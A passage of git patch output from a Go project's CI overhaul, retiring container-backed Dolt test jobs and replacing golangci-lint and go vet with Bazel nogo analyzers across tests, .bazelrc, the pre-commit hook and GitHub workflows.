dolt-server lane whatever the +// mode. No CI job runs the Dolt-backed suites against the container backend +// any more, so none runs its container half (plain `go test` does, wherever +// docker and the image are present), and no pr.yml job runs the fingerprint +// or reports a separate fingerprint result. +func TestDoltServerFingerprintRunsOnTheDoltServerLane(t *testing.T) { pr := readCIWorkflow(t, "pr.yml") - job := pr.job(t, prFingerprintJob) - if job.If != prLaneLegacyIf { - t.Errorf("%s if %q, want %q (the container-backed tests run only there)", prFingerprintJob, job.If, prLaneLegacyIf) - } - step := job.step(t, prFingerprintStep) - if step.If != "" || step.ContinueOnError != nil { - t.Errorf("%s step %q: if %q, continue-on-error %v", prFingerprintJob, prFingerprintStep, step.If, step.ContinueOnError) - } - assertStepsBefore(t, job, []string{"Install Dolt CLI", "Pull Dolt sql-server image"}, []string{prFingerprintStep}) - assertStepsBefore(t, job, []string{prFingerprintStep}, []string{"Test domain + uow + tracker"}) for name, j := range pr.Jobs { for _, s := range j.Steps { - if strings.Contains(s.Run, "TestDoltServerFingerprint") && (name != prFingerprintJob || s.Name != prFingerprintStep) { - t.Errorf("%s step %q runs the fingerprint; only %s's %q does", name, s.Name, prFingerprintJob, prFingerprintStep) + if strings.Contains(s.Run, "TestDoltServerFingerprint") { + t.Errorf("%s step %q runs the fingerprint; //internal/testutil:testutil_dolt_test does", name, s.Name) } } } diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 200dfc7d8..0157ad143 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -88,8 +88,6 @@ var retiredTiers = []retiredTier{ "build-artifacts": "BUILD_ARTIFACTS", "pr-core-wrapper": "PR_CORE_WRAPPER", "check-cmd-bd-puregeo-tests": "CHECK_CMD_BD_PUREGEO_TESTS", - "test-domain-uow": "TEST_DOMAIN_UOW", - "contract-corpus": "CONTRACT_CORPUS", }, bazelLanes: []string{bazelJobName, bazelPureJobName, bazelDoltJobName}, }, @@ -1962,7 +1960,7 @@ var bazelDoltServerRCLines = map[string][]string{ // D2 step 2, as review F2/F4 for embedded: the proxied and server lanes run // exactly `bazel test //... --config=` (plus nightly's BAZEL_FRESH) // with a BEP and nothing else, their configs are exactly the pinned lines, -// and only test:docker and test:fresh set result caching. +// and only test:fresh sets result caching. func TestBazelRetiredLanesArePinned(t *testing.T) { workflow := readCIWorkflow(t, bazelWorkflowName) for lane, config := range bazelRetiredLaneConfigs { @@ -2010,13 +2008,13 @@ func TestBazelRetiredLanesArePinned(t *testing.T) { } } // A later --cache_test_results (any config the lanes use) would win. - // Only the docker lane and nightly's --config=fresh (appended only when - // the caller asks, ci_merge_queue_test.go) turn result caching off. - allowed := map[string]bool{"test:docker --nocache_test_results": true, bazelFreshRCLine: true} + // Only nightly's --config=fresh (appended only when the caller asks, + // ci_merge_queue_test.go) turns result caching off. + allowed := map[string]bool{bazelFreshRCLine: true} for _, line := range strings.Split(rc, "\n") { line = strings.TrimSpace(line) if !strings.HasPrefix(line, "#") && strings.Contains(line, "cache_test_results") && !allowed[line] { - t.Errorf(".bazelrc %q: only test:docker and test:fresh set test result caching", line) + t.Errorf(".bazelrc %q: only test:fresh sets test result caching", line) } } } diff --git a/scripts/pull_dolt_image_test.go b/scripts/pull_dolt_image_test.go index 477d68f44..b4d1f1a92 100644 --- a/scripts/pull_dolt_image_test.go +++ b/scripts/pull_dolt_image_test.go @@ -53,23 +53,14 @@ func TestPullDoltImageRetriesTransientFailures(t *testing.T) { } func TestDoltImagePullWorkflowsUseRetryHelper(t *testing.T) { + // Only pr-risk.yml's legacy container-backed tiers pull the image; every + // pr.yml and bazel.yml Dolt suite runs on hermetic dolt sql-servers + // (the dolt-server lanes) and needs no docker. wantCalls := map[string]int{ - "pr.yml": 2, // test-domain-uow, contract-corpus "pr-risk.yml": 3, } workflowsDir := filepath.Join(sourceRepoRoot(t), ".github", "workflows") - for name, want := range wantCalls { - data, err := os.ReadFile(filepath.Join(workflowsDir, name)) - if err != nil { - t.Fatal(err) - } - text := string(data) - if got := strings.Count(text, "run: ./scripts/ci/pull-dolt-image.sh"); got != want { - t.Errorf("%s retry-helper calls = %d, want %d", name, got, want) - } - } - workflowPaths, err := filepath.Glob(filepath.Join(workflowsDir, "*.y*ml")) if err != nil { t.Fatal(err) @@ -79,8 +70,13 @@ func TestDoltImagePullWorkflowsUseRetryHelper(t *testing.T) { if err != nil { t.Fatal(err) } - if strings.Contains(string(data), "docker pull "+doltSQLServerImage) { - t.Errorf("%s still pulls the Dolt image without retries", filepath.Base(path)) + text := string(data) + name := filepath.Base(path) + if got, want := strings.Count(text, "run: ./scripts/ci/pull-dolt-image.sh"), wantCalls[name]; got != want { + t.Errorf("%s retry-helper calls = %d, want %d", name, got, want) + } + if strings.Contains(text, "docker pull "+doltSQLServerImage) { + t.Errorf("%s still pulls the Dolt image without retries", name) } } } diff --git a/tools/bazel/BUILD.bazel b/tools/bazel/BUILD.bazel index 79fdab72a..2c8fa7459 100644 --- a/tools/bazel/BUILD.bazel +++ b/tools/bazel/BUILD.bazel @@ -14,7 +14,7 @@ _DOLT_PLATFORMS_ONLY = select({ }) # sh_test src for a second test target over an existing go_test binary (see -# the script header), e.g. //cmd/bd/doctor/fix:fix_docker_test. +# the script header), e.g. //cmd/bd/doctor/fix:fix_dolt_test. exports_files( ["go_test_variant.sh"], visibility = ["//visibility:public"], diff --git a/tools/bazel/equivalence.py b/tools/bazel/equivalence.py index 256c7c248..f45998fde 100644 --- a/tools/bazel/equivalence.py +++ b/tools/bazel/equivalence.py @@ -32,7 +32,7 @@ Two checks always run, a third when `go test -json` output is supplied: Job mode (--job, with --go-test-json): the go test JSON is the whole expected set instead of `go list ./...`. Use it to prove that a Bazel selection (one or -more --bep runs, e.g. --config=ci plus --config=docker) replaces one specific +more --bep runs, e.g. --config=ci plus --config=doltserver) replaces one specific CI job: every top-level test the job's command ran must have run under Bazel, Bazel must run no other test in those packages (TestEmbedded* included: job mode has no implicit ^TestEmbedded skip, so it can check the embedded tier), and no test the job passed may diff --git a/tools/bazel/race.bzl b/tools/bazel/race.bzl index 570efcb3d..27296f6ee 100644 --- a/tools/bazel/race.bzl +++ b/tools/bazel/race.bzl @@ -1,11 +1,11 @@ """go_test_race_off: an existing go_test built without the race detector. -The docker lane (--config=docker) sets --@rules_go//go/config:race for every -target, because pr.yml's container jobs run `go test -race`, except the -Contract corpus job, which does not. A go_test_variant.sh sh_test over this -rule's output runs such a package the way that job does, without a second -go_test rule (whose srcs gazelle would not maintain). The go_test keeps its own -`race = "auto"` and so follows the setting this transition gives it. +The dolt-server lane (--config=doltserver) sets --@rules_go//go/config:race +for every target, because the container jobs it replaced ran `go test -race`, +except the Contract corpus job, which did not. A go_test_variant.sh sh_test +over this rule's output runs such a package the way that job did, without a +second go_test rule (whose srcs gazelle would not maintain). The go_test keeps +its own `race = "auto"` and so follows the setting this transition gives it. """ _RACE = "@rules_go//go/config:race" From a4509deb2ddd33a5029c304bcf92dcaadfea7ea1 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 05:17:22 +0000 Subject: [PATCH 145/325] ci(bazel): nogo replaces go vet and golangci-lint (ga-96smfk.18) (#7341) * ci(bazel): nogo replaces go vet and golangci-lint (ga-96smfk.18) Lint and vet now run as nogo inside the Bazel build, so they gate wherever the Bazel lanes execute (rbe-west), and the golangci-lint and go vet jobs leave pr.yml and main.yml. - //tools/nogo (own go.mod, joined to beads' for go_deps only through gazelle.go.work): go test's vet checks (cmd/go's defaultVetFlags, the set scripts/ci/go-test-vet.sh ran) plus the eight linters .golangci.yml enables, each a wrapper over the library version golangci-lint v2.10.1 uses (depguard, errcheck, forbidigo, gosec, misspell, sloglint, unconvert, unparam). - .golangci.yml stays the single lint policy: Bazel embeds it and tools/nogo/internal/golangci applies it as golangci-lint does (enabled set, settings, run.tests: false as library-unit-only analysis, lax generated-file detection, path/path-except/text exclusion rules), with strict decoding so an unimplemented key fails the build. - gascity's rules_go //nolint-range patch and x/tools ctrlflow patch, byte-identical. - Windows/darwin: cross-configured, not a golangci leg. The pure lane's release cross-compile (//tools/bazel:release_cross, every library and binary for all eight release platforms, cgo off) runs nogo on every compile, a superset of golangci-lint's windows and darwin legs. scripts/pr-lint (make ci-pr-lint, bd preflight) runs `bazel build --config=nogo //...` plus release_cross for windows_amd64,darwin_arm64. release_cross skips tools/nogo, a separate Go module `go build ./...` never compiled. - pr.yml: scripts-go-checks (vet) and pr-lint-wrapper (x3) are gone, with their ci-gate entries; main.yml: pr-lint-wrapper (x6) and go-vet-cache. scripts/ci/go-test-vet.sh and install-golangci-lint.sh are deleted. - pre-commit hook and .pre-commit-config.yaml run `make lint-changed LINT_CHANGED_SCOPE=staged` (nogo over the staged packages); Makefile adds lint, vet and lint-changed. pr-lint.sh no longer runs gofmt (//scripts/repochecks:fmt_test owns it; ga-96smfk.41). - internal/testutil/integration: five gosec findings in integration-tagged library files golangci-lint never built, now linted by the integration lanes, carry reasoned //nolint directives. Parity: with the exclusion rules removed, golangci-lint and nogo report the same 3,916 findings natively and 3,859 each for windows and darwin (file, line, linter, text); with .golangci.yml as committed both report none. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): equivalence.py leaves nested Go modules' tests out of go test's set tools/nogo is its own Go module, so `go test ./...` in the root never runs its tests; Bazel's unit lane does. Its packages are neither expected nor extra. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 19 + .githooks/pre-commit | 34 +- .github/workflows/bazel.yml | 5 +- .github/workflows/ci-measurements.yml | 7 - .github/workflows/main.yml | 164 +--- .github/workflows/pr.yml | 126 +-- .golangci.yml | 6 + .pre-commit-config.yaml | 14 +- AGENTS.md | 2 +- BUILD.bazel | 22 +- CONTRIBUTING.md | 28 +- MODULE.bazel | 38 +- MODULE.bazel.lock | 11 - Makefile | 45 +- cmd/bd/preflight.go | 7 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 18 +- engdocs/DOC_INVENTORY.md | 2 +- engdocs/LINTING.md | 159 ++-- gazelle.go.work | 11 + internal/testutil/integration/diagnostics.go | 4 +- internal/testutil/integration/harness.go | 6 +- scripts/BUILD.bazel | 1 + scripts/README.md | 10 +- scripts/check_doc_freshness_test.go | 2 +- scripts/ci/bazel-release-cross-compile.sh | 8 +- scripts/ci/go-test-vet.sh | 24 - scripts/ci/install-golangci-lint.sh | 97 --- scripts/ci/pr-lint.sh | 37 +- scripts/ci_f7b_review_test.go | 15 +- scripts/ci_workflow_test.go | 413 +--------- scripts/embedded_shard_count_test.go | 2 +- scripts/nogo_lint_policy_test.go | 109 +++ scripts/pr-lint/BUILD.bazel | 2 - scripts/pr-lint/main.go | 409 +++------- scripts/pr-lint/main_test.go | 731 +++--------------- scripts/pr_lanes_bazel_coverage_test.go | 125 ++- scripts/pr_risk_bazel_coverage_test.go | 2 +- scripts/prlintmake/prlintmake_test.go | 42 +- third_party/patches/BUILD.bazel | 6 + .../rules_go_nogo_golangci_nolint.patch | 100 +++ .../x_tools_ctrlflow_stdlib_noreturn.patch | 34 + tools/bazel/equivalence.py | 12 + tools/bazel/go_srcs.py | 14 +- tools/nogo/BUILD.bazel | 66 ++ tools/nogo/analyzers.bzl | 47 ++ tools/nogo/analyzers/depguard/BUILD.bazel | 44 ++ tools/nogo/analyzers/depguard/depguard.go | 110 +++ .../nogo/analyzers/depguard/depguard_test.go | 48 ++ tools/nogo/analyzers/errcheck/BUILD.bazel | 46 ++ tools/nogo/analyzers/errcheck/errcheck.go | 75 ++ .../nogo/analyzers/errcheck/errcheck_test.go | 35 + tools/nogo/analyzers/forbidigo/BUILD.bazel | 45 ++ tools/nogo/analyzers/forbidigo/forbidigo.go | 77 ++ .../analyzers/forbidigo/forbidigo_test.go | 37 + tools/nogo/analyzers/gosec/BUILD.bazel | 49 ++ tools/nogo/analyzers/gosec/gosec.go | 113 +++ tools/nogo/analyzers/gosec/gosec_test.go | 25 + tools/nogo/analyzers/misspell/BUILD.bazel | 44 ++ tools/nogo/analyzers/misspell/misspell.go | 110 +++ .../nogo/analyzers/misspell/misspell_test.go | 35 + tools/nogo/analyzers/sloglint/BUILD.bazel | 46 ++ tools/nogo/analyzers/sloglint/sloglint.go | 67 ++ .../nogo/analyzers/sloglint/sloglint_test.go | 26 + tools/nogo/analyzers/unconvert/BUILD.bazel | 45 ++ tools/nogo/analyzers/unconvert/unconvert.go | 42 + .../analyzers/unconvert/unconvert_test.go | 15 + tools/nogo/analyzers/unparam/BUILD.bazel | 46 ++ tools/nogo/analyzers/unparam/unparam.go | 47 ++ tools/nogo/analyzers/unparam/unparam_test.go | 46 ++ tools/nogo/analyzers_test.go | 104 +++ tools/nogo/config.json | 10 + tools/nogo/go.mod | 26 + tools/nogo/go.sum | 60 ++ tools/nogo/internal/analyzertest/BUILD.bazel | 35 + .../internal/analyzertest/analyzertest.go | 151 ++++ tools/nogo/internal/golangci/BUILD.bazel | 57 ++ tools/nogo/internal/golangci/config.go | 307 ++++++++ tools/nogo/internal/golangci/wrap.go | 143 ++++ tools/nogo/internal/golangci/wrap_test.go | 150 ++++ tools/nogo/internal/position/BUILD.bazel | 31 + tools/nogo/internal/position/position.go | 39 + tools/nogo/modules_test.go | 49 ++ 82 files changed, 3418 insertions(+), 2053 deletions(-) create mode 100644 gazelle.go.work delete mode 100755 scripts/ci/go-test-vet.sh delete mode 100755 scripts/ci/install-golangci-lint.sh create mode 100644 scripts/nogo_lint_policy_test.go create mode 100644 third_party/patches/rules_go_nogo_golangci_nolint.patch create mode 100644 third_party/patches/x_tools_ctrlflow_stdlib_noreturn.patch create mode 100644 tools/nogo/BUILD.bazel create mode 100644 tools/nogo/analyzers.bzl create mode 100644 tools/nogo/analyzers/depguard/BUILD.bazel create mode 100644 tools/nogo/analyzers/depguard/depguard.go create mode 100644 tools/nogo/analyzers/depguard/depguard_test.go create mode 100644 tools/nogo/analyzers/errcheck/BUILD.bazel create mode 100644 tools/nogo/analyzers/errcheck/errcheck.go create mode 100644 tools/nogo/analyzers/errcheck/errcheck_test.go create mode 100644 tools/nogo/analyzers/forbidigo/BUILD.bazel create mode 100644 tools/nogo/analyzers/forbidigo/forbidigo.go create mode 100644 tools/nogo/analyzers/forbidigo/forbidigo_test.go create mode 100644 tools/nogo/analyzers/gosec/BUILD.bazel create mode 100644 tools/nogo/analyzers/gosec/gosec.go create mode 100644 tools/nogo/analyzers/gosec/gosec_test.go create mode 100644 tools/nogo/analyzers/misspell/BUILD.bazel create mode 100644 tools/nogo/analyzers/misspell/misspell.go create mode 100644 tools/nogo/analyzers/misspell/misspell_test.go create mode 100644 tools/nogo/analyzers/sloglint/BUILD.bazel create mode 100644 tools/nogo/analyzers/sloglint/sloglint.go create mode 100644 tools/nogo/analyzers/sloglint/sloglint_test.go create mode 100644 tools/nogo/analyzers/unconvert/BUILD.bazel create mode 100644 tools/nogo/analyzers/unconvert/unconvert.go create mode 100644 tools/nogo/analyzers/unconvert/unconvert_test.go create mode 100644 tools/nogo/analyzers/unparam/BUILD.bazel create mode 100644 tools/nogo/analyzers/unparam/unparam.go create mode 100644 tools/nogo/analyzers/unparam/unparam_test.go create mode 100644 tools/nogo/analyzers_test.go create mode 100644 tools/nogo/config.json create mode 100644 tools/nogo/go.mod create mode 100644 tools/nogo/go.sum create mode 100644 tools/nogo/internal/analyzertest/BUILD.bazel create mode 100644 tools/nogo/internal/analyzertest/analyzertest.go create mode 100644 tools/nogo/internal/golangci/BUILD.bazel create mode 100644 tools/nogo/internal/golangci/config.go create mode 100644 tools/nogo/internal/golangci/wrap.go create mode 100644 tools/nogo/internal/golangci/wrap_test.go create mode 100644 tools/nogo/internal/position/BUILD.bazel create mode 100644 tools/nogo/internal/position/position.go create mode 100644 tools/nogo/modules_test.go diff --git a/.bazelrc b/.bazelrc index dcd27c345..4de47b6c1 100644 --- a/.bazelrc +++ b/.bazelrc @@ -287,6 +287,25 @@ build:js-wasm --platforms=@rules_go//go/toolchain:js_wasm build:js-wasm --use_target_platform_for_tests build:js-wasm --remote_download_outputs=toplevel +# nogo (//tools/nogo: go test's vet checks plus the golangci-lint linters +# .golangci.yml enables) runs beside every Go compile of every lane, so any +# `bazel build`/`bazel test` fails on a finding. --config=nogo asks for the +# analysis alone (the nogo_fix output group; nothing is linked), in the race +# configuration bazel.yml's unit lane (test:ci) builds, so a local run reuses +# CI's remote cache. make lint, scripts/pr-lint and the pre-commit hook use it. +build:nogo --@rules_go//go/config:race +build:nogo --keep_going +build:nogo --output_groups=nogo_fix +# The same analyzers over the files only other platforms compile +# (//go:build windows, darwin, !linux ...): scripts/pr-lint builds +# //tools/bazel:release_cross, every go_library and go_binary split-transitioned +# to rules_go's non-cgo platforms, for its windows/amd64 and darwin/arm64 +# passes (golangci-lint's former GOOS=windows/darwin legs). bazel.yml's pure +# lane builds the same target for every release platform, which validates +# nogo there too. +build:nogo-cross --keep_going +build:nogo-cross --output_groups=nogo_fix + # D2 step 3: bazel.yml's bazel-test, bazel-pure and bazel-doltserver lanes # add this in the remote modes, where (on same-repo PRs and merge groups) # they are the only pre-merge run of pr.yml's legacy PR Core, diff --git a/.githooks/pre-commit b/.githooks/pre-commit index b082d26f7..8e4a17732 100755 --- a/.githooks/pre-commit +++ b/.githooks/pre-commit @@ -1,5 +1,5 @@ #!/usr/bin/env bash -# Pre-commit hook: auto-format with gofmt and lint with golangci-lint. +# Pre-commit hook: auto-format with gofmt, then lint and vet with nogo. # Installed via: git config core.hooksPath .githooks # See also: make install (sets hooksPath automatically) @@ -9,24 +9,6 @@ set -euo pipefail # the beads section at the bottom must run for non-Go commits too. staged_go_files=$(git diff --cached --name-only --diff-filter=ACM -- '*.go') if [ -n "$staged_go_files" ]; then - # Build golangci-lint from source so it is never a stale global binary, and - # pin the version to the one CI uses (.github/workflows/{pr,main}.yml). - GOLANGCI_LINT="go run github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.10.1" - - # Build it with the repo's own Go, the way CI does. In CI, actions/setup-go - # installs the go.mod version and exports GOTOOLCHAIN=local. Locally - # GOTOOLCHAIN defaults to "auto", and for a pkg@version build that honours - # golangci-lint's own toolchain directive instead: it downgrades to - # go1.25.12, which then refuses this repo's newer go directive at config - # load ("the Go language version (go1.25) used to build golangci-lint is - # lower than the targeted Go version") and fails every Go commit. Pinning to - # the go directive reproduces CI's resolution on any host toolchain. - go_toolchain="go$(awk '$1 == "go" { print $2; exit }' go.mod)" - if [ "$go_toolchain" = "go" ]; then - echo >&2 "pre-commit: no go directive in go.mod; cannot pin the lint toolchain" - exit 1 - fi - # Auto-format and re-stage, through the go.mod-pinned gofmt. A bare PATH # gofmt belongs to the host toolchain, and on a host newer than the go # directive it rewrites and re-stages files into a form CI's gofmt rejects @@ -35,13 +17,13 @@ if [ -n "$staged_go_files" ]; then echo "$staged_go_files" | xargs "$gofmt_bin" -w echo "$staged_go_files" | xargs git add - # Lint changed code with auto-fix; block on remaining issues. - # CGO_ENABLED=0 avoids typecheck failures from CGO-only dependencies - # (e.g., dolthub/go-icu-regex) that require system headers not always present. - CGO_ENABLED=0 GOTOOLCHAIN="$go_toolchain" $GOLANGCI_LINT run --new-from-rev=HEAD --fix || exit 1 - - # Re-stage any auto-fixes from the linter - echo "$staged_go_files" | xargs git add + # Lint and vet: nogo (//tools/nogo) over the staged files' Bazel packages, + # the analyzers bazel.yml gates on (go test's vet checks plus the + # golangci-lint linters .golangci.yml enables). Findings fail the commit; + # nogo prints a `patch -p1` command for the ones with suggested fixes. + # Needs bazel (or bazelisk) on PATH; the windows/darwin passes run in CI + # and in `make lint`. + make lint-changed LINT_CHANGED_SCOPE=staged || exit 1 fi # --- BEGIN BEADS INTEGRATION v1.3.0 --- diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index df5f61c5e..4b74bd4a0 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1047,7 +1047,10 @@ jobs: # a platform-gating mistake is caught here instead of at tag time # (#5662): the whole tree, cgo off, one remote `bazel build # --platforms=...` per target (the script's header has the coverage - # boundary: the cgo release builds are not compiled here). + # boundary: the cgo release builds are not compiled here). nogo + # (//tools/nogo) validates every one of those compiles, so this is also + # the lint and vet gate for files only other platforms build + # (//go:build windows, darwin, !linux ...; engdocs/LINTING.md). - name: Cross-compile every release target (--config=release-cross) run: | set -euo pipefail diff --git a/.github/workflows/ci-measurements.yml b/.github/workflows/ci-measurements.yml index 0bfdca1dd..e2278bd22 100644 --- a/.github/workflows/ci-measurements.yml +++ b/.github/workflows/ci-measurements.yml @@ -83,19 +83,12 @@ jobs: source ./.buildflags ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - ci_time "install golangci-lint" -- ./scripts/ci/install-golangci-lint.sh - # install-golangci-lint.sh appends to $GITHUB_PATH, which GitHub - # Actions only applies to *later steps*, not later commands in this - # same run block. Export it here too so the "pr-lint wrapper" call - # below finds golangci-lint on PATH. - export PATH="$RUNNER_TEMP/golangci-lint:$PATH" status=0 ci_time "pr-policy wrapper" -- make ci-pr-policy || status=$? # -timeout=30m keeps this in step with the lane it measures # (scripts/ci/pr-core.sh). Without it ./cmd/bd can die on `go test`'s # 10m default and the measurement reports a panic instead of a duration. ci_time "pr-core gotestsum" -- gotestsum --junitfile artifacts/pr-core-junit.xml --format testdox -- -race -short -timeout=30m -skip '^TestEmbedded' ./... || status=$? - ci_time "pr-lint wrapper" -- make ci-pr-lint || status=$? exit "$status" - name: Upload measurement artifacts diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index cdb8c2751..8300b9502 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -455,90 +455,6 @@ jobs: - name: Run PR policy wrapper run: make ci-pr-policy - # F7b: pr.yml's pr-lint-wrapper moved to same-repo Blacksmith - # (blacksmith-4vcpu-ubuntu-2404) for same-repo PRs/merge_group, falling back - # to ubuntu-latest for forks/Dependabot. golangci-lint's own cache and this - # leg's lint GOCACHE are both scoped to the runner infrastructure (not just - # the key), so this push-lane saver needs to seed both runner selections — - # the `venue` matrix dimension crossed with the existing `target` dimension - # (6 legs on push) — the same reason windows-test-binaries-cache above seeds - # both `runner: [blacksmith, github]` legs. The ternary form (rather than a - # literal Blacksmith label in a matrix array) is required for actionlint, - # same as every other Blacksmith `runs-on` in this repo. - # F7b review fix (B2): job-level push-to-main-only guard, same rationale as - # blacksmith-go-build-cache above -- applied to the whole job (not just the - # Blacksmith leg) for simplicity, since the github venue leg is also only - # meant to run from main.yml's push trigger. Pinned by - # TestBlacksmithSaverJobsGuardedAgainstPullRequest. - pr-lint-wrapper: - name: PR Lint (${{ matrix.target }}) - runs-on: ${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' - timeout-minutes: 20 - strategy: - fail-fast: false - matrix: - target: [native, windows, darwin] - venue: [blacksmith, github] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Install golangci-lint - run: ./scripts/ci/install-golangci-lint.sh - - # This push lane is the only saver (§0, F5.2): keyed on file content and - # the leg; a miss on the exact content key falls back to the leg's most - # recent entry, which golangci-lint revalidates against the current - # config and inputs. pr.yml only ever restores. The key omits the sha - # (SF-4) so a save only happens when .golangci.yml or go.sum change, - # not on every push to main. - - name: Restore golangci-lint cache - id: restore-golangci-lint-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/.cache/golangci-lint - ${{ matrix.target == 'native' && format('{0}/go-cache/lint-{1}', runner.temp, matrix.target) || '' }} - key: beads-golangci-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-v2.10.1-${{ matrix.target }}-${{ hashFiles('.golangci.yml', 'go.sum') }} - restore-keys: beads-golangci-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-v2.10.1-${{ matrix.target }}- - - # No BD_LINT_NEW_FROM_MERGE_BASE here: the push lane sweeps the whole - # tree, including the GOOS=windows and GOOS=darwin cross-lints. pr.yml - # scopes the same wrapper to the PR's own diff. - - name: Run PR lint wrapper - env: - BD_LINT_TARGETS: ${{ matrix.target }} - GOCACHE: ${{ runner.temp }}/go-cache/lint-${{ matrix.target }} - run: make ci-pr-lint - - # !cancelled() (not just a cache-hit check): golangci-lint's own cache is - # content-addressed and GOCACHE is unaffected by lint findings, so it is - # safe -- and worth keeping -- to save even when the lint step itself - # fails (SF-1). Without this, a red lint run on main never warms the - # cache and every PR leg stays cold. - - name: Save golangci-lint cache - if: ${{ !cancelled() && steps.restore-golangci-lint-cache.outputs.cache-hit != 'true' }} - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/.cache/golangci-lint - ${{ matrix.target == 'native' && format('{0}/go-cache/lint-{1}', runner.temp, matrix.target) || '' }} - key: beads-golangci-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-v2.10.1-${{ matrix.target }}-${{ hashFiles('.golangci.yml', 'go.sum') }} - # macOS full -race -short suite. Linux runs the same suite under Bazel # (bazel.yml's `test` lane, on every push to main, executed on rbe-west), # and Windows uses smoke tests below; rbe-west has no macOS workers, so this @@ -642,12 +558,11 @@ jobs: # runners cannot see caches `actions/cache` saved from a GitHub-hosted # runner (and vice versa) even for an identical key, so the `venue` matrix # dimension here seeds the Blacksmith selection too -- same reasoning as - # pr-lint-wrapper/go-vet-cache above and windows-test-binaries-cache's - # `runner` matrix. + # windows-test-binaries-cache's `runner` matrix. test-windows: name: Test (Windows - smoke, ${{ matrix.venue }}) # F7b review fix (B2): added the repository check to match - # blacksmith-go-build-cache/pr-lint-wrapper/go-vet-cache's convention + # blacksmith-go-build-cache's convention # above (this job's push-to-main guard predates F7b and already had the # event/ref check; the repository check closes the same fork gap F7c's # own blacksmith-setup-go-cache guard closes). Pinned by @@ -766,79 +681,6 @@ jobs: - name: Check gofmt run: make fmt-check - # Warms the vet cache pr.yml's scripts-go-checks vet leg restores (F5.3). - # `go vet` caches successful vet actions, so a warm cache re-vets only - # changed packages and their dependents. Restore-only in pr.yml (§0); this - # push job is the only saver, on an exact-key miss. - # F7b: pr.yml's scripts-go-checks vet leg moved to same-repo Blacksmith; this - # seed needs both runner selections for the same reason pr-lint-wrapper - # above does (Blacksmith and GitHub-hosted runners cannot see each other's - # actions/cache entries, even for an identical key). - # F7b review fix (B2): job-level push-to-main-only guard, same rationale and - # convention as pr-lint-wrapper above. Pinned by - # TestBlacksmithSaverJobsGuardedAgainstPullRequest. - go-vet-cache: - name: Warm go vet cache - runs-on: ${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' - timeout-minutes: 20 - strategy: - fail-fast: false - matrix: - venue: [blacksmith, github] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - # F7b review fix (S7/Speed): see blacksmith-go-build-cache's identical - # step above for the full rationale -- bounds this saver's writes to at - # most once per UTC calendar day per go.sum, not once per push. - - name: Compute cache date - id: cache-date - run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" - - - name: Restore Go module cache - id: restore-go-module-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Restore vet Go build cache - id: restore-vet-go-build-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/vet - key: beads-go-vet-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-vet-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - # The non-race build cache fallback this used to list can never hit: - # actions/cache versions an entry by its path list, and that cache - # saves to a different path (.../go-cache/non-race), so the prefix - # match is always filtered out (SF-5). - restore-keys: beads-go-vet-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-vet- - - - name: Go vet with go test's checks - env: - GOCACHE: ${{ runner.temp }}/go-cache/vet - run: bash scripts/ci/go-test-vet.sh - - # 